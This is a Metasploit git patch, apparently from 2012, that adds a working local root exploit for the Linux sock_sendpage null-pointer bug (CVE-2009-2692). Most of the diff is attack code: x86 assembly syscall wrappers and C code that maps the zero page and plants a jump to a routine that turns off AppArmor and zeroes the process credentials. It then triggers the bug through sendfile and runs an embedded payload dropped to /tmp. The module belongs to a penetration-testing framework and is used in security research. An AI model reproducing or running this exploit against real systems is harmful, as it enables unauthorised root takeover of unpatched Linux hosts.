From 7091d1c65be002c97bb4219894c22ea124f2a381 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sun, 15 Jul 2012 20:29:48 -0600 Subject: [PATCH] Add an exploit for sock_sendpage Unfortunately, adds a dep on bionic for runtime compilation. Gets ring0, sets the (res)uid to 0 and jumps to the payload. Still some payload issues because linux stagers don't mprotect(2) the buffer they read(2) into. Single payloads work fine, though. Also cleans up and improves local exploits' ability to compile C. [SEERM #3038] --- lib/msf/core/exploit/local/linux.rb | 144 ++++--- lib/msf/core/exploit/local/linux_kernel.rb | 1 + lib/msf/core/exploit/local/unix.rb | 138 +------ modules/exploits/linux/local/sock_sendpage.rb | 358 ++++++++++++++---- 4 files changed, 382 insertions(+), 259 deletions(-) diff --git a/lib/msf/core/exploit/local/linux.rb b/lib/msf/core/exploit/local/linux.rb index a26cb7f0d9..d4607af50f 100644 --- a/lib/msf/core/exploit/local/linux.rb +++ b/lib/msf/core/exploit/local/linux.rb @@ -35,20 +35,14 @@ module Exploit::Local::Linux int ftruncate(int fd, off_t length); int socket(int, int, int); int sendfile(int in_fd, int out_fd, void *, int count); - void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); void *__mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset); - void * - mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) - { - return __mmap2(addr, length, prot, flags, fd, (offset >> 12)); - } - #ifdef DEBUGGING void sigtrap(); #else #define sigtrap() #endif + void *__get_tls(); EOC metasm_exe.parse <<-EOS @@ -76,60 +70,124 @@ module Exploit::Local::Linux ret open: mov eax, 5 ; sys_open - mov ecx,[esp+8] ; mode - mov ebx,[esp+4] ; flags + mov edx,[esp+12] ; mode + mov ecx,[esp+8] ; flags + mov ebx,[esp+4] ; file name int 0x80 + cmp eax, -129 + jb 1f + neg eax + push eax + call __set_errno + add esp, 4 + or eax, -1 + 1: ret ftruncate: - mov eax, 92 ; sys_ftruncate - mov ecx,[esp+8] ; file descriptor - mov ebx,[esp+4] ; size + push ebx + push ecx + mov eax, 93 ; sys_ftruncate + mov ecx,[esp+16] ; file descriptor + mov ebx,[esp+12] ; size int 0x80 + cmp eax, -129 + jb 1f + neg eax + push eax + call __set_errno + add esp, 4 + or eax, -1 + 1: + pop ecx + pop ebx ret socket: + push ebx + push ecx mov eax, 102 ; sys_socketcall - mov ecx,[esp] ; args - mov ebx,0x1 ; + mov ebx, 1 + mov ecx, esp + add ecx, 12 int 0x80 + cmp eax, -129 + jb 1f + neg eax + push eax + call __set_errno + add esp, 4 + or eax, -1 + 1: + pop ecx + pop ebx ret sendfile: - mov eax, 187 ; sys_sendfile - mov esi,[esp+16] ; size - mov edx,[esp+12] ; offset - mov ecx,[esp+8] ; out_fd - mov ebx,[esp+4] ; in_fd - int 0x80 + push ebx + push ecx + push edx + push esi + + mov eax, 187 ; sys_sendfile + mov esi,[esp+32] ; size + mov edx,[esp+28] ; offset + mov ecx,[esp+24] ; out_fd + mov ebx,[esp+20] ; in_fd + int 0x80 + cmp eax, -129 + jb 1f + neg eax + push eax + call __set_errno + add esp, 4 + or eax, -1 + 1: + pop esi + pop edx + pop ecx + pop ebx ret unlink: - mov eax, 10 ; sys_unlink - mov ebx,[esp+4] ; filename - int 0x80 + mov eax, 10 ; sys_unlink + mov ebx,[esp+4] ; filename + int 0x80 ret + ; stolen from bionic __mmap2: - push ebx - push ecx - push edx - push esi - push edi - push ebp + push ebx + push ecx + push edx + push esi + push edi + push ebp - mov eax, 90 - mov ebx, [esp+28] - mov ecx, [esp+32] - mov edx, [esp+36] - mov esi, [esp+40] - mov edi, [esp+44] - mov ebp, [esp+48] - int 0x80 + mov eax, 192 + mov ebx, [esp+28] + mov ecx, [esp+32] + mov edx, [esp+36] + mov esi, [esp+40] + mov edi, [esp+44] + mov ebp, [esp+48] + int 0x80 + cmp eax, -129 + jb 1f + neg eax + push eax + call __set_errno + add esp, 4 + or eax, -1 + 1: + pop ebp + pop edi + pop esi + pop edx + pop ecx + pop ebx + ret - pop ebp - pop edi - pop esi - pop edx - pop ecx - pop ebx + ; Thread Local Storage, used by errno + __get_tls: + mov eax, gs:[0] ret EOS diff --git a/lib/msf/core/exploit/local/linux_kernel.rb b/lib/msf/core/exploit/local/linux_kernel.rb index ba1bb4aa1b..9d247eace9 100644 --- a/lib/msf/core/exploit/local/linux_kernel.rb +++ b/lib/msf/core/exploit/local/linux_kernel.rb @@ -1,3 +1,4 @@ +require 'msf/core/exploit/local/compile_c' module Msf module Exploit::Local::LinuxKernel diff --git a/lib/msf/core/exploit/local/unix.rb b/lib/msf/core/exploit/local/unix.rb index 798e1a2e84..14fa4d3c63 100644 --- a/lib/msf/core/exploit/local/unix.rb +++ b/lib/msf/core/exploit/local/unix.rb @@ -5,139 +5,11 @@ module Exploit::Local::Unix include Exploit::Local::CompileC def unix_socket_h(metasm_exe) - # Most of this is copied from - # external/source/meterpreter/source/bionic/libc/kernel/common/linux/socket.h - cparser.parse <<-EOC -#define AF_UNSPEC 0 -#define AF_UNIX 1 -#define AF_LOCAL 1 -#define AF_INET 2 -#define AF_AX25 3 -#define AF_IPX 4 -#define AF_APPLETALK 5 -#define AF_NETROM 6 -#define AF_BRIDGE 7 -#define AF_ATMPVC 8 -#define AF_X25 9 -#define AF_INET6 10 -#define AF_ROSE 11 -#define AF_DECnet 12 -#define AF_NETBEUI 13 -#define AF_SECURITY 14 -#define AF_KEY 15 -#define AF_NETLINK 16 -#define AF_ROUTE AF_NETLINK -#define AF_PACKET 17 -#define AF_ASH 18 -#define AF_ECONET 19 -#define AF_ATMSVC 20 -#define AF_SNA 22 -#define AF_IRDA 23 -#define AF_PPPOX 24 -#define AF_WANPIPE 25 -#define AF_LLC 26 -#define AF_TIPC 30 -#define AF_BLUETOOTH 31 -#define AF_MAX 32 - -#define PF_UNSPEC AF_UNSPEC -#define PF_UNIX AF_UNIX -#define PF_LOCAL AF_LOCAL -#define PF_INET AF_INET -#define PF_AX25 AF_AX25 -#define PF_IPX AF_IPX -#define PF_APPLETALK AF_APPLETALK -#define PF_NETROM AF_NETROM -#define PF_BRIDGE AF_BRIDGE -#define PF_ATMPVC AF_ATMPVC -#define PF_X25 AF_X25 -#define PF_INET6 AF_INET6 -#define PF_ROSE AF_ROSE -#define PF_DECnet AF_DECnet -#define PF_NETBEUI AF_NETBEUI -#define PF_SECURITY AF_SECURITY -#define PF_KEY AF_KEY -#define PF_NETLINK AF_NETLINK -#define PF_ROUTE AF_ROUTE -#define PF_PACKET AF_PACKET -#define PF_ASH AF_ASH -#define PF_ECONET AF_ECONET -#define PF_ATMSVC AF_ATMSVC -#define PF_SNA AF_SNA -#define PF_IRDA AF_IRDA -#define PF_PPPOX AF_PPPOX -#define PF_WANPIPE AF_WANPIPE -#define PF_LLC AF_LLC -#define PF_TIPC AF_TIPC -#define PF_BLUETOOTH AF_BLUETOOTH -#define PF_MAX AF_MAX - -#define SOMAXCONN 128 - -#define MSG_OOB 1 -#define MSG_PEEK 2 -#define MSG_DONTROUTE 4 -#define MSG_TRYHARD 4 -#define MSG_CTRUNC 8 -#define MSG_PROBE 0x10 -#define MSG_TRUNC 0x20 -#define MSG_DONTWAIT 0x40 -#define MSG_EOR 0x80 -#define MSG_WAITALL 0x100 -#define MSG_FIN 0x200 -#define MSG_SYN 0x400 -#define MSG_CONFIRM 0x800 -#define MSG_RST 0x1000 -#define MSG_ERRQUEUE 0x2000 -#define MSG_NOSIGNAL 0x4000 -#define MSG_MORE 0x8000 - -#define MSG_EOF MSG_FIN - -#define MSG_CMSG_COMPAT 0 - -#define SOL_IP 0 - -#define SOL_TCP 6 -#define SOL_UDP 17 -#define SOL_IPV6 41 -#define SOL_ICMPV6 58 -#define SOL_SCTP 132 -#define SOL_RAW 255 -#define SOL_IPX 256 -#define SOL_AX25 257 -#define SOL_ATALK 258 -#define SOL_NETROM 259 -#define SOL_ROSE 260 -#define SOL_DECNET 261 -#define SOL_X25 262 -#define SOL_PACKET 263 -#define SOL_ATM 264 -#define SOL_AAL 265 -#define SOL_IRDA 266 -#define SOL_NETBEUI 267 -#define SOL_LLC 268 -#define SOL_DCCP 269 -#define SOL_NETLINK 270 -#define SOL_TIPC 271 - -#define IPX_TYPE 1 - - - #define PF_IUCV 32 - #define IPPROTO_SCTP 132 - - #define SOCK_STREAM 1 - #define SOCK_DGRAM 2 - #define SOCK_SEQPACKET 5 - - struct iovec { - char *iov_base; - int iov_len; - }; - - int socket(int, int, int); - EOC + [ + "external/source/meterpreter/source/bionic/libc/include/sys/socket.h", + ].each do |fname| + cparser.parse(File.read(fname), fname) + end end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 94124c9525..b1aa4c4c50 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -14,9 +14,10 @@ require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' -load 'lib/msf/core/exploit/local/unix.rb' -load 'lib/msf/core/exploit/local/linux.rb' -load 'lib/msf/core/exploit/local/linux_kernel.rb' +#load 'lib/msf/core/post/file.rb' +#load 'lib/msf/core/exploit/local/unix.rb' +#load 'lib/msf/core/exploit/local/linux.rb' +#load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking @@ -38,18 +39,24 @@ class Metasploit4 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'spender', # wunderbar_emporium.tgz - 'egypt' # metasploit module + 'spender', # wunderbar_emporium.tgz + 'rcvalle', # sock_sendpage.c + 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2009-2692' ], + [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ], + [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ], + ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], #[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], ], - #'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0, } )) @@ -57,96 +64,274 @@ class Metasploit4 < Msf::Exploit::Local def exploit sc = Metasm::ELF.new(@cpu) - cparser.parse "#define DEBUGGING" sc.parse %Q| #define DEBUGGING + #define NULL ((void*)0) #ifdef __ELF__ + .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main - push eax + ;push eax call exit | + # Set up the same include order as the bionic build system. + # See external/source/meterpreter/source/bionic/libc/Jamfile + cparser.lexer.include_search_path = [ + "external/source/meterpreter/source/bionic/libc/include/", + "external/source/meterpreter/source/bionic/libc/private/", + "external/source/meterpreter/source/bionic/libc/bionic/", + "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", + "external/source/meterpreter/source/bionic/libc/kernel/common/", + "external/source/meterpreter/source/bionic/libc/arch-x86/include/", + ] + + cparser.parse(%Q| + #define DEBUGGING + // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h + #ifndef __extension__ + #define __extension__ + #endif + // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h + // Doing #if on an undefined macro is fine in GCC, but a parse error in + // metasm. + #ifndef __STDC__ + #define __STDC__ 0 + #endif + #include + #include + #include + #include + #include + #include + /* + OpenBSD's strcmp from string/strcmp.c in bionic + */ + int + strcmp(const char *s1, const char *s2) + { + while (*s1 == *s2++) + if (*s1++ == 0) + return (0); + return (*(unsigned char *)s1 - *(unsigned char *)--s2); + } + |) + + [ + "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", + "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", + "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", + "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", + # This parses without any trouble, but actually calling perror() causes + # immediate segfaults. + #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", + + # For some ungodly reason, NULL ends up being undefined when parsing this + # guy, which of course causes parse errors. + #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", + + ].each do |fname| + print_status("Parsing c file #{fname}") + cparser.parse(File.read(fname), fname) + end + + print_status("Unix socket.h") unix_socket_h(sc) current_task_struct_h(sc) case target.arch.first when ARCH_X86 + print_status("syscall wrappers") linux_x86_syscall_wrappers(sc) - main = <<-EOS - #define NULL ((void*)0) - #define PAGE_SIZE (4096) - #define DOMAINS_STOP -1 - const int domains[] = { - PF_APPLETALK, - PF_IPX, - PF_IRDA, - PF_X25, - PF_AX25, - PF_BLUETOOTH, - PF_PPPOX, - DOMAINS_STOP - }; + main = %q^ +#ifdef __x86_64__ +#define PTR_FMT "0x%016x" +#else +#define PTR_FMT "0x%08x" +#endif - int main() { - int in_fd, out_fd; - char *addr; - int d = 0; +#define NULL ((void*)0) +#define DOMAINS_STOP -1 +const int domains[] = { + PF_BLUETOOTH, + PF_APPLETALK, + PF_IPX, + PF_IRDA, + PF_X25, + PF_AX25, + PF_BLUETOOTH, + PF_PPPOX, + DOMAINS_STOP + }; - /* - addr = mmap( - NULL, 0x1000, - PROT_EXEC | PROT_READ | PROT_WRITE, - MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, - 0, 0); - sigtrap(); - if (addr != NULL) { - #{c_puts("Failed, trying again without PROT_EXEC hoping they don't support NX")} - addr = mmap( - NULL, 0x1000, - PROT_READ | PROT_WRITE, - MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, - 0, 0); - sigtrap(); - if (addr == NULL) { - #{c_puts("Mapped NULL! ZOMG! Let's fighting love!")} - } else { - #{c_puts("Failed to map 0 page")} - } - } +int *apparmor_enabled; - addr[0] = '\\xff'; - addr[1] = '\\x25'; - *(unsigned long *)&addr[2] = 8; - *(unsigned long *)&addr[8] = (unsigned long)&sigtrap; - */ +int got_ring0 = 0; +unsigned long uid, gid; - for (d = 0; domains[d] != DOMAINS_STOP; d++) { - #{c_puts("Next domain")} - out_fd = socket(domains[d], SOCK_DGRAM, 0); - sigtrap(); - if (in_fd > 0) { - break; - } - } +static unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[256]; + int ret; - if (out_fd < 0) { - #{c_puts("No domains.")} - exit(1); - } + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) { + printf("Unable to obtain symbol listing!\n"); + return 0; + } + } - in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700); - unlink("/tmp/woot"); + ret = 0; + while(ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + printf(" [+] Resolved %s to %p\n", name, (void *)addr); + fclose(f); + return addr; + } + } + + fclose(f); + return 0; +} + + +static void +change_cred(void) +{ + unsigned int *task_struct; + + task_struct = (unsigned int *)current_task_struct(); + + while (task_struct) { + if (task_struct[0] == uid && task_struct[1] == uid && + task_struct[2] == uid && task_struct[3] == uid && + task_struct[4] == gid && task_struct[5] == gid && + task_struct[6] == gid && task_struct[7] == gid) { + task_struct[0] = task_struct[1] = + task_struct[2] = task_struct[3] = + task_struct[4] = task_struct[5] = + task_struct[6] = task_struct[7] = 0; + break; + } + + task_struct++; + } + + return; +} + +int __attribute__((regparm(3))) +own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) +{ + + got_ring0 = 1; + if (apparmor_enabled && *apparmor_enabled) { + *apparmor_enabled = 0; + } + change_cred(); + return -1; +} + +const char *shellcode = +""; +int shellcode_size = 0; + +int main() { + int i = 0; + int d; + int in_fd, out_fd; + char *mapped; + char template[] = "/tmp/sendfile.XXXXXX"; + int (*func)(); + + uid = getuid(), gid = getgid(); + + mapped = mmap(NULL , 0x1000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0 + ); + if (mapped == NULL) { + printf("Mapped zero page!\n"); + } else { + exit(1); + } + + // jmp dword near [dword 0x8] + mapped[0] = '\xff'; + mapped[1] = '\x25'; + *(unsigned long *)&mapped[2] = 8; + *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; + + for (i = 0; i < 16; i++) { + printf("\\\\x%02x", (unsigned char)mapped[i]); + } + printf("\n"); + + for (d = 0; domains[d] != DOMAINS_STOP; d++) { + //printf("Next domain ... "); + out_fd = socket(domains[d], SOCK_DGRAM, 0); + if (out_fd > 0) { + printf("Got domain[%d]\n", d); + break; + } + if (out_fd < 0) { + printf("out_fd: %d, Errno: %d\n", out_fd, errno); + exit(1); + } + } + unlink(template); + // Couldn't get mkstemp to work, just use open(2) for now + in_fd = open(template, O_CREAT | O_RDWR, 0777); + printf("Opened temp file: %d\n", in_fd); + unlink(template); + printf("Calling ftruncate\n"); + ftruncate(in_fd, 4096); + + printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); + printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); + sendfile(out_fd, in_fd, NULL, 4096); + printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); + printf("UID: %d GID: %d\n", getuid(), getgid()); + + func = mmap(NULL, 0x1000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0 + ); + mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); + // weaksauce memcpy so we don't have to #include + printf("Copying %d bytes of shellcode\n", shellcode_size); + for (i = 0; i < shellcode_size; i++) { + (char)func[i] = (char)shellcode[i]; + } + printf("Calling shellcode: 0x%p\n", func); + //sigtrap(); + func(); + + return got_ring0; +} +^ + main.gsub!(/shellcode =/) do + # split the payload into 16-byte chunks and dump it out as a + # hex-escaped C string + %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| + end + main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") + cparser.parse(main, "main.c") - ftruncate(in_fd, 0); - #{c_puts("About to trigger")} - sendfile(in_fd, out_fd, NULL, PAGE_SIZE); - return 42; - } - EOS - cparser.parse(main) asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm @@ -154,24 +339,31 @@ class Metasploit4 < Msf::Exploit::Local sc.assemble - if sc.kind_of? Metasm::ELF - elf = sc.encode_string - else - foo = sc.encode_string - elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) + begin + if sc.kind_of? Metasm::ELF + elf = sc.encode_string + else + foo = sc.encode_string + elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) + end + rescue + print_error "Metasm Encoding failed: #{$!}" + elog "Metasm Encoding failed: #{$!.class} : #{$!}" + elog "Call stack:\n#{$!.backtrace.join("\n")}" + return end #puts Rex::Text.to_hex_dump(foo) File.open("payload.bin", "wb") {|fd| fd.write elf } + print_status "Writing exploit executable (#{elf.length} bytes)" + cmd_exec("rm /tmp/sendpage") write_file("/tmp/sendpage", elf) - p cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") + output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") + output.each_line { |line| print_debug line.chomp } + #cmd_exec("rm /tmp/sendpage") end - def c_puts(str) - %Q|write(1, "#{str}\\n", #{str.length + 1});| - end - end